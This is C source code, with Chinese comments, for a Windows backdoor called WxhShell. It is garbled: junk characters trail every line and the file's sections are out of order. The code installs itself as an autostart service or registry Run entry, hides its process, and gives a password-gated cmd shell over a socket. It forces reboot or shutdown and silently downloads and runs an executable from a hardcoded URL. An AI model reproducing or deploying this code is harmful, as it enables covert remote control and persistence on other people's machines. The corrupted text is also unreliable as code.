    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _p;>]0cc.  
    else { ^qB a~  
    closesocket(wsh); > 4n\  
    ExitThread(0); Q,pnh!.-c  
    } HpbSf1VvAf  
    break; q<Tx'Ya  
    } :#_Ne?\a@  
  // 获取shell gX29c  
  case 's': { V\1pn7~V  
    CmdShell(wsh); 3C[#_&_l  
    closesocket(wsh); /x2-$a:<  
    ExitThread(0); > nHaMj  
    break; e3o?=;  
  } FX1[ 2\  
  // 退出 G_ -8*.  
  case 'x': { Ms4~P6;%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >z #^JR\6  
    CloseIt(wsh); KM-d8^\:  
    break; 3@}rO~  
    } T`ofj7$:  
  // 离开 +aY]?]  
  case 'q': { >O;V[H2[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); { l0[`"EF  
    closesocket(wsh); zf4\V F  
    WSACleanup(); `;~A  
    exit(1); 5%r:hO @S  
    break; U ;%cp  
        } |Eyn0\OA  
  } ID_#a9N  
  } +nAbcBJAl  
 i)!2DXn  
  // 提示信息 >TQNrS^$J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #ET y#jKL  
} >0X_UDAWz  
  } .Qv H7  
<5 )F9.$  
  return; [d?tf  
} <jAn~=Uq[,  
Q8H+=L:  
// shell模块句柄 -F$v`|(O+  
int CmdShell(SOCKET sock) btR~LJb  
{ VbI$#;:[7  
STARTUPINFO si; H`bS::JI-  
ZeroMemory(&si,sizeof(si)); x DiGN Jc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Nsf>b8O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p![UOI"W  
PROCESS_INFORMATION ProcessInfo; ;5 p;i 8m  
char cmdline[]="cmd"; ?E}9TQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y*QoD9<T?;  
  return 0; n&%0G2m:  
} <kCOg8<y :  
HO_!/4hrU  
// 自身启动模式 ;#?G2AAv  
int StartFromService(void) /O}lSXo6E  
{ nw-%!}Ot"  
typedef struct o- v#Zl  
{ 7G+E+A5o&  
  DWORD ExitStatus; dKQu  
  DWORD PebBaseAddress; .% 79(r^  
  DWORD AffinityMask; %"Ia]0  
  DWORD BasePriority; C %i{{Y&l  
  ULONG UniqueProcessId; 5AK@e|G$w  
  ULONG InheritedFromUniqueProcessId; %x-`Y[  
}   PROCESS_BASIC_INFORMATION; 9|WV28PK:  
wq7h8Z}l  
PROCNTQSIP NtQueryInformationProcess; D>-srzw  
n-u HKBq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P0/Ctke;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fuU 3?SG  
8'ut[  
  HANDLE             hProcess; ^ 4Uk'T7V  
  PROCESS_BASIC_INFORMATION pbi; H0f]Swh0a  
)UtK9;@"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5\Rg%Ezl  
  if(NULL == hInst ) return 0; 7_R[ =t  
R"y xpw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +|--}iE5n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u2S8D uJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eH V#Mey[  
dZY|6  
  if (!NtQueryInformationProcess) return 0; Q@uWh:  
'YJ~~o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YwS/O N  
  if(!hProcess) return 0; n?>|2>  
jwg*\HO,s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3+\Zom4  
rd;E /:`5  
  CloseHandle(hProcess); <iBn-EG l>  
0#NbAMt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); azzG  
if(hProcess==NULL) return 0; F1S0C>N?5  
($Op*bR  
HMODULE hMod; kRr/x-"  
char procName[255]; X f{9rZ+  
unsigned long cbNeeded; T[I7.8g  
dOK]Su  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iL!4r]~H  
E5 #ff5  
  CloseHandle(hProcess); *+k yuY J  
Z^BZH/I?  
if(strstr(procName,"services")) return 1; // 以服务启动 nly}ly Q/  
"sIww  
  return 0; // 注册表启动 )W6l/  
} (! 8y~n 1  
]9~Il#  
// 主模块 >xA( *7  
int StartWxhshell(LPSTR lpCmdLine) |&@`~OBa  
{ V(XZ7<& {  
  SOCKET wsl; g<ov` bF  
BOOL val=TRUE; .<E7Ey#  
  int port=0; j;qV+Rq]t  
  struct sockaddr_in door; =7#"}%4Q  
N ]14~r=  
  if(wscfg.ws_autoins) Install(); r,3\32[?  
+* F e   
port=atoi(lpCmdLine); h:|BQC  
Pe-rwM  
if(port<=0) port=wscfg.ws_port; =.OzpV)=V  
>j7]gi(  
  WSADATA data; 7SN61)[m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q"uK6ANp'  
p5py3k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7KGb2V<t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %"=GQ3u[  
  door.sin_family = AF_INET; ;y{(#X#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c<lEFk!g  
  door.sin_port = htons(port); R^=v&c{@  
~g%Ht# <  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q1{9>NI  
closesocket(wsl); ]d~{8h!G  
return 1; 2s> BNWTU  
} s|:1z"q  
@v:Eh  
  if(listen(wsl,2) == INVALID_SOCKET) { 19-V;F@;  
closesocket(wsl); <`G-_VI  
return 1; OSLZ7B^  
} \{!,a  
  Wxhshell(wsl); FA;-D5=  
  WSACleanup(); )FmIL(vu  
R/Z7}QW  
return 0; : 2$*'{mM  
|:Maa6(W  
} 7lA_*t@y  
BX6kn/i  
// 以NT服务方式启动 `S5::U6E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h{H*k#>  
{ fL d2{jI,  
DWORD   status = 0; Rjlp<  
  DWORD   specificError = 0xfffffff; ?E(X>tH  
M# -E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }%jpqip  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OB\ZT@l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 80 T2EN:$  
  serviceStatus.dwWin32ExitCode     = 0; i7v =o#  
  serviceStatus.dwServiceSpecificExitCode = 0; `W" ;4A  
  serviceStatus.dwCheckPoint       = 0; #`f{\  
  serviceStatus.dwWaitHint       = 0; ~(yW#'G  
D`mr>-Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A%7f;&x!  
  if (hServiceStatusHandle==0) return; XJKns  
m[iQ7/  
status = GetLastError(); rly%+B `/  
  if (status!=NO_ERROR) {&^PDa|nD  
{ ~K;hXf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z}.6yHS  
    serviceStatus.dwCheckPoint       = 0; _dz ZS(7M6  
    serviceStatus.dwWaitHint       = 0; INp:;  
    serviceStatus.dwWin32ExitCode     = status; q86}'dFw{  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0!KYi_3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )G?\{n-  
    return; tPN CdA  
  } GvgTbCxnN  
/V`SJ"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]W4{|%@H"  
  serviceStatus.dwCheckPoint       = 0; vu91" 4Fa  
  serviceStatus.dwWaitHint       = 0; /DyeMCY-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B:0oT  
} QT73=>^B  
&7>]# *  
// 处理NT服务事件,比如:启动、停止 :).NA ]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S@S4<R1{\  
{ 2 'D,1F  
switch(fdwControl) -sZ'<(3  
{ 4b;*:C4?  
case SERVICE_CONTROL_STOP: jF j'6LT9/  
  serviceStatus.dwWin32ExitCode = 0; mCk_c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WQze|b %  
  serviceStatus.dwCheckPoint   = 0; IGVq`Mxj  
  serviceStatus.dwWaitHint     = 0; ai1;v@1  
  { :t9![y[=|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VS ;y  
  } DR3om;Uk  
  return; _e ;b B?S  
case SERVICE_CONTROL_PAUSE: rtQ{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /wJ4hHY  
  break; EW vhT]<0  
case SERVICE_CONTROL_CONTINUE: %e0X-tXcmX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z;2& d<h  
  break; m9MY d  
case SERVICE_CONTROL_INTERROGATE: qC"`i}7  
  break; T,uF^%$@AQ  
}; SqRM*Cf=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dmv0hof  
} O-)[!8r  
("j;VqYUL  
// 标准应用程序主函数 "DGap*=J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4g2`[<S  
{ Pi |Z\j)  
C9MK3vtD.  
// 获取操作系统版本 &Ejhw3Nw  
OsIsNt=GetOsVer(); s5+;8u9K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eFS$;3FP1  
J%xUO1  
  // 从命令行安装 IBeorDIZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); qNHI$r'  
t\ z@k9  
  // 下载执行文件 pM+9K:^B  
if(wscfg.ws_downexe) { xr@;w8X`^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ni2 [K`  
  WinExec(wscfg.ws_filenam,SW_HIDE); tN4&#YK<  
} e&:%Rr]x  
x0{B7/FN  
if(!OsIsNt) { GYb&'#F~t  
// 如果时win9x,隐藏进程并且设置为注册表启动 O/ItN5B ;  
HideProc(); 1,$"'lKwt  
StartWxhshell(lpCmdLine); 3X;>cv#B  
} YIZu{  
else *,:2O&P  
  if(StartFromService()) ~8(Xn2  
  // 以服务方式启动 Qnt }:M+  
  StartServiceCtrlDispatcher(DispatchTable); uqI'e_&=&5  
else dyf>T}Iy  
  // 普通方式启动 4|5;nxkGm8  
  StartWxhshell(lpCmdLine); [N~-9  
n/*" 2  
return 0; 2_3os P\Z  
} q27q/q8  
<P0 P*>M  
%(6+{'j~#  
{: _*P TVk  
=========================================== xhho{  
\h s7>5O^K  
n{~&^Nby*I  
X@Zt4)2#  
U,T#{  
X6$Cd]MN  
" ht6}v<x.eA  
mC\<fo-u  
#include <stdio.h> A['(@Bz#7~  
#include <string.h> HGh)d` 8  
#include <windows.h> Bfdfw +  
#include <winsock2.h> 9 ;uw3vI%  
#include <winsvc.h> dxZn| Y  
#include <urlmon.h> HA}q.L]#  
$RF.LVc  
#pragma comment (lib, "Ws2_32.lib") {2 T:4i5  
#pragma comment (lib, "urlmon.lib") hSAI G  
s?1Aj<  
#define MAX_USER   100 // 最大客户端连接数 [)8O\/:  
#define BUF_SOCK   200 // sock buffer Ge?DD,a c  
#define KEY_BUFF   255 // 输入 buffer U Rq9:{  
PGxv4(%  
#define REBOOT     0   // 重启 3xP<J)S0  
#define SHUTDOWN   1   // 关机 "7Kw]8mRR  
-AVT+RE9z  
#define DEF_PORT   5000 // 监听端口 !H c6$  
]{{%d4  
#define REG_LEN     16   // 注册表键长度 MZA%ET,l,<  
#define SVC_LEN     80   // NT服务名长度 ngd4PN>{4  
H|j]uLZ  
// 从dll定义API _(io8zqe{j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Kc1w[EQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g}hNsU=$5~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6MU;9|&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Td7Q%7p:  
~mah.8G  
// wxhshell配置信息 Y4,p_6aKJ]  
struct WSCFG { SbMRrWy  
  int ws_port;         // 监听端口 VB8eGMo  
  char ws_passstr[REG_LEN]; // 口令 :*|So5fs  
  int ws_autoins;       // 安装标记, 1=yes 0=no wkPomTO  
  char ws_regname[REG_LEN]; // 注册表键名 ^:f)XZ  
  char ws_svcname[REG_LEN]; // 服务名 TI"Ki$jC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :(3'"^_NA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g?}h*~<b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QP!;Gwqr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [-e$4^+9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M 0G`P1o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z1tCSt}7f  
o2]Np~`g,  
}; Qch'C0u  
KqaEHL  
// default Wxhshell configuration *(/b{!~  
struct WSCFG wscfg={DEF_PORT, PT&qys 2k  
    "xuhuanlingzhe", %){/O}I]>  
    1, \sW>Y#9]  
    "Wxhshell", Y1qbu~!  
    "Wxhshell", XC/M:2$  
            "WxhShell Service", 56NDU>j$  
    "Wrsky Windows CmdShell Service", i#4E*B_-  
    "Please Input Your Password: ", vZ=dlu_t  
  1, gMZrtK`<  
  "http://www.wrsky.com/wxhshell.exe", OH 88d:  
  "Wxhshell.exe" mwz!7Q   
    }; =G'J@[d{d  
]`h@[fYge  
// 消息定义模块 vsI|HxpyC,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nAj +HLO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;1TQr3w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Di$++T8"  
char *msg_ws_ext="\n\rExit."; Ac +fL  
char *msg_ws_end="\n\rQuit."; brF) %x`  
char *msg_ws_boot="\n\rReboot..."; l]IQjjJ`  
char *msg_ws_poff="\n\rShutdown..."; [>QzT"=  
char *msg_ws_down="\n\rSave to "; -Zg@#H  
O G7U+d6  
char *msg_ws_err="\n\rErr!"; {qSYe!`  
char *msg_ws_ok="\n\rOK!"; 5'(#Sf  
@_;vE(!5  
char ExeFile[MAX_PATH]; +]C|y ,r  
int nUser = 0; 0{Zwg0&  
HANDLE handles[MAX_USER]; de"+ABR  
int OsIsNt; s8r[U, }(  
?V)M!  
SERVICE_STATUS       serviceStatus; w~e$ul(IQM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8&#)}A}x  
3J^'x  
// 函数声明 (xBWxeL~  
int Install(void); $*+UX   
int Uninstall(void); 0INlo   
int DownloadFile(char *sURL, SOCKET wsh); 95tHi re  
int Boot(int flag); 9NC'iFQ#  
void HideProc(void); \!r,>P   
int GetOsVer(void); ~\7peH%  
int Wxhshell(SOCKET wsl); gBXbB9  
void TalkWithClient(void *cs); uup>WW  
int CmdShell(SOCKET sock); =G1 5 eZW  
int StartFromService(void); 6 &MATMR  
int StartWxhshell(LPSTR lpCmdLine); - I j  
Jn1(-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4Mj cx.21  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "nn>I}jK  
XZpF<7l  
// 数据结构和表定义 =>)4>WT8A  
SERVICE_TABLE_ENTRY DispatchTable[] = :k oXS  
{ t1]sv VX,w  
{wscfg.ws_svcname, NTServiceMain}, OjY#xO+'  
{NULL, NULL} h%%dRi  
}; .RWKZB  
E&2mFg  
// 自我安装 tc)4$"9)  
int Install(void) P&8QKX3 j^  
{ ]1i1_AR'`  
  char svExeFile[MAX_PATH]; 2S_7!|j  
  HKEY key; L]Dl}z  
  strcpy(svExeFile,ExeFile); c UHKE\F  
|),3`*N  
// 如果是win9x系统,修改注册表设为自启动 w!/se;_H+w  
if(!OsIsNt) { WB>M7MI%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Eza B}BLQ9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dIRSgJ`  
  RegCloseKey(key); $@4(Lq1.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kx5VR4f`J@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bis'59?U_  
  RegCloseKey(key); _6&TCd<  
  return 0; #~@Cl9[)D  
    } s*.&DN  
  } b:>t1S Ul  
} $56Z/*  
else { 4"y1M=he  
[(4s\c  
// 如果是NT以上系统,安装为系统服务 P[bj {lo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *^ -~J/  
if (schSCManager!=0) ;bxL$1  
{ Z{J{6j  
  SC_HANDLE schService = CreateService sas:5iB5  
  ( v d}Y$X  
  schSCManager, ]&RC<imq  
  wscfg.ws_svcname, Hwm] l`E]  
  wscfg.ws_svcdisp, 3Zeh$DZ  
  SERVICE_ALL_ACCESS, gls %<A{C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1{7*0cv$iL  
  SERVICE_AUTO_START, j6{9XIR o_  
  SERVICE_ERROR_NORMAL, 7Eett)4  
  svExeFile, tHV81F1J  
  NULL, aR}L- -m  
  NULL, l^*'W(%  
  NULL, \gjY h2>  
  NULL, vfZ.js/  
  NULL :#=XT9  
  ); S;]][h =  
  if (schService!=0) lYt|C^  
  { tE]0 #B)D<  
  CloseServiceHandle(schService); iO_6>&(  
  CloseServiceHandle(schSCManager); [ym ynr3M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _R?:?{r,  
  strcat(svExeFile,wscfg.ws_svcname); Nn%[J+F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^dF?MQA<@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ggn:DE "  
  RegCloseKey(key); *[^[!'kT&  
  return 0; W<AxctId  
    } jR CG}'  
  } L]C|&K P  
  CloseServiceHandle(schSCManager); R8U?s/*  
} &n)=OConge  
} wZ_k]{J  
[9S?  
return 1; 1\'zq;I~  
} O!7v&$]1  
AQH\ ;L  
// 自我卸载 DiLZ5^`]  
int Uninstall(void) wNX2*   
{ Fuuy_+p@G  
  HKEY key; E0Y>2HOuL  
0$~zeG"  
if(!OsIsNt) { 2# y!(D8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T3W?-,  
  RegDeleteValue(key,wscfg.ws_regname); 6pHn%yE*  
  RegCloseKey(key); >)sB# <e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6ofi8( n[  
  RegDeleteValue(key,wscfg.ws_regname); >*A"tk#oR  
  RegCloseKey(key); bvK fxAih  
  return 0; *)6:yn  
  } ;MH<T6b  
} <^APq8>  
} N^{"k,vB-  
else { }?0At<(d  
xKl!{A9$w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sfv{z!mo  
if (schSCManager!=0) 8 )W{&#C>  
{ $T)EJe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <]jKpJ{3N  
  if (schService!=0) U{+<c [  
  { EPE9HvN  
  if(DeleteService(schService)!=0) { gg-4ce/  
  CloseServiceHandle(schService); 1m52vQSo3l  
  CloseServiceHandle(schSCManager); w*E0f?s  
  return 0; TbY <(wrMZ  
  } VhWF(*  
  CloseServiceHandle(schService); VOj{&O2c  
  } '_n J DM  
  CloseServiceHandle(schSCManager); |)7dh B  
} &K1\"  
} w;RG*rv  
 o IUjd  
return 1; E7_)P>aS5  
} Vh.9/$xQ  
3( Y#*f|  
// 从指定url下载文件 Kn WjP21  
int DownloadFile(char *sURL, SOCKET wsh) 'g4t !__  
{ 8op,;Z7Y  
  HRESULT hr; j"8f,er  
char seps[]= "/"; C Rd1zDB  
char *token; ,}("es\b  
char *file; F|eKt/>e  
char myURL[MAX_PATH]; yEaim~  
char myFILE[MAX_PATH]; XzX-Q'i=n0  
=`8%qh  
strcpy(myURL,sURL); `30og]F0YJ  
  token=strtok(myURL,seps); [r,ZM  
  while(token!=NULL) 1YGj^7V)|Z  
  { +}XFkH~  
    file=token; jkPye{j  
  token=strtok(NULL,seps); )9^0Qk' ]  
  } Q: H`TSR]  
rRTAWAs%T  
GetCurrentDirectory(MAX_PATH,myFILE); }`O_  
strcat(myFILE, "\\"); >O{U4_j@(  
strcat(myFILE, file); S(K}.C1x  
  send(wsh,myFILE,strlen(myFILE),0); *1}UK9X;  
send(wsh,"...",3,0); wkO8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l17sJ!I  
  if(hr==S_OK) 's.cwB: #  
return 0; F__(iXxC  
else FmRCTH  
return 1; *PXlbb  
gUfLw  
} ;1S~'B&1Q  
J 8/]&Ow  
// 系统电源模块 `}b#O}z)^  
int Boot(int flag) EFb1Y{u^\!  
{ S%h[e[[fST  
  HANDLE hToken; Js`xTH'  
  TOKEN_PRIVILEGES tkp; 0 i76(2  
R]0p L   
  if(OsIsNt) { IoEIT Kd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RXMzwk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  aOS:rC  
    tkp.PrivilegeCount = 1; (*.t~6c?5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZT UaF4k j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y9b|lP7!  
if(flag==REBOOT) { t0 [H_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ! xU1[,9  
  return 0; y"|QY!fK  
} X8F@U ^@  
else { -`z`K08sT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qIbp0`m  
  return 0; J&64tQl*  
} o"O=Epg  
  } N5 BC<pu  
  else { K#j<G]I( @  
if(flag==REBOOT) { %SV5 PO@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hJqLH ?Ri  
  return 0; /~w!7n<7  
} q Ee1OB  
else { K;%P_f/KJP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XcoV27  
  return 0; e:SBX/\j  
} H%,jB<-.A  
} 8MHYk>O~{G  
V SJGp`  
return 1; }T@^wY_Ow  
} l(-We.:(  
.A;e` cKb  
// win9x进程隐藏模块 z 6~cm6j  
void HideProc(void) 3 ;M7^DM  
{ /}G+PUk7  
:n'$Txf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2nSX90@:  
  if ( hKernel != NULL ) #fq%903=  
  { <Fkm7ME]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J~=bW\^I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2TH13k$  
    FreeLibrary(hKernel); Tr}z&efY  
  } z >EOQe  
,EkzBVgo  
return; VrV )qfG  
} DuESLMhz  
~7!=<MW  
// 获取操作系统版本 v"nN[_T  
int GetOsVer(void) $uw[X  
{ "gm[q."n<  
  OSVERSIONINFO winfo; )gOVnA/M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c$Vu/dgx  
  GetVersionEx(&winfo); 1J`<'{*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4( Q_J4}P  
  return 1; N$\'X<{  
  else vrRbUwL!  
  return 0; pbfIO47ZC  
} MQs!+Z"m>  
,2t|(V*"&  
// 客户端句柄模块 gYeKeW3)  
int Wxhshell(SOCKET wsl) oXC|q-(C  
{ UQ0Sf u  
  SOCKET wsh; r7Vt,{4/  
  struct sockaddr_in client; ~ m/nV81  
  DWORD myID; {e'P* j  
r] h>Bb  
  while(nUser<MAX_USER) Nk.m$  
{ VI xGD#m  
  int nSize=sizeof(client); <WXGDCj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mLEJt,X  
  if(wsh==INVALID_SOCKET) return 1; jeKqS  
/ .wO<l=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;(&$Iw9X  
if(handles[nUser]==0) ^T?zR7r  
  closesocket(wsh); m:6^yfS  
else 1c5+X Cr  
  nUser++; jHPkfwfAF  
  } fwF&V^Dy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fL^$G;_?3  
B$=oU   
  return 0; 2X X-  
} d}RU-uiW  
AvmI<U  
// 关闭 socket :P2{^0$  
void CloseIt(SOCKET wsh) g~7x+cu0  
{ W u C2 LM  
closesocket(wsh); *VUD!`F  
nUser--; c-`'`L^J  
ExitThread(0); Y)O88C  
} pZ`^0#Fo  
9QXBz=Fnf  
// 客户端请求句柄 >z'T"R/  
void TalkWithClient(void *cs) /"J3hSR  
{ rSgOQ  
@u>:(9bp  
  SOCKET wsh=(SOCKET)cs; Z|#G+$"QV  
  char pwd[SVC_LEN]; `i `F$;  
  char cmd[KEY_BUFF]; o8 B$6w:_  
char chr[1]; .5^7Jwh  
int i,j; Q4Zw<IZv5  
EXF|; @-"  
  while (nUser < MAX_USER) { 1!S*z^LGl  
;hgRMkmz4<  
if(wscfg.ws_passstr) { <"hq}B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;RW0Dn)Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9Ai 3p  
  //ZeroMemory(pwd,KEY_BUFF); z%q)}$O  
      i=0; _'mK=`>u  
  while(i<SVC_LEN) { j5:/Gl8  
Ja7yq{j  
  // 设置超时 Q,LDn%+;B*  
  fd_set FdRead; #rI4\K  
  struct timeval TimeOut; 4[lym,8C  
  FD_ZERO(&FdRead); 6no&2a|D  
  FD_SET(wsh,&FdRead); 'PvOOhm,  
  TimeOut.tv_sec=8; 4T>d%Tt+)  
  TimeOut.tv_usec=0; 3E-dhSz:i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4n0Iw  I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M:*)l(  
rqWD#FB=z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8zO;=R A7%  
  pwd=chr[0]; p f`vH`r  
  if(chr[0]==0xd || chr[0]==0xa) { S }3?  
  pwd=0; szs.B|3X@*  
  break; ?~3Pydrb#  
  } #|QA_5  
  i++; SUb:0GUa  
    } 8dLK5"_3  
P r2WF~NuO  
  // 如果是非法用户,关闭 socket V4ybrUWK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u\3=m%1  
} BC)1FxsGf  
P]0/S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n >@Qx$-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w\1K.j=>|N  
\gGTkH  
while(1) { 97pfMk1_  
zwJ\F '  
  ZeroMemory(cmd,KEY_BUFF); ] Jnrs  
f&I5bPS7}  
      // 自动支持客户端 telnet标准   H}cq|hodn  
  j=0; .wPI%5D  
  while(j<KEY_BUFF) { wln"g,ct  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 07G'"=  
  cmd[j]=chr[0]; X`A+/{ H  
  if(chr[0]==0xa || chr[0]==0xd) { @2~;)*  
  cmd[j]=0; 'F^1)Ga$  
  break; bR<XQHl  
  } m#^;V  
  j++; ZKJhmk  
    } hm0MO,i"  
A3.*d:A  
  // 下载文件 _ZE&W  
  if(strstr(cmd,"http://")) {  V*W H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G5NAwpZf  
  if(DownloadFile(cmd,wsh)) qS?^(Vt|R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )  D5JA`  
  else Q>I7.c-M|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L]E.TvM1*  
  } = O|}R  
  else { WO*dO9O  
@+sYwlA~  
    switch(cmd[0]) { Fr#QM0--B  
  z8j7K'vV1  
  // 帮助 Y+gNi_dE  
  case '?': { ri49r*_1  
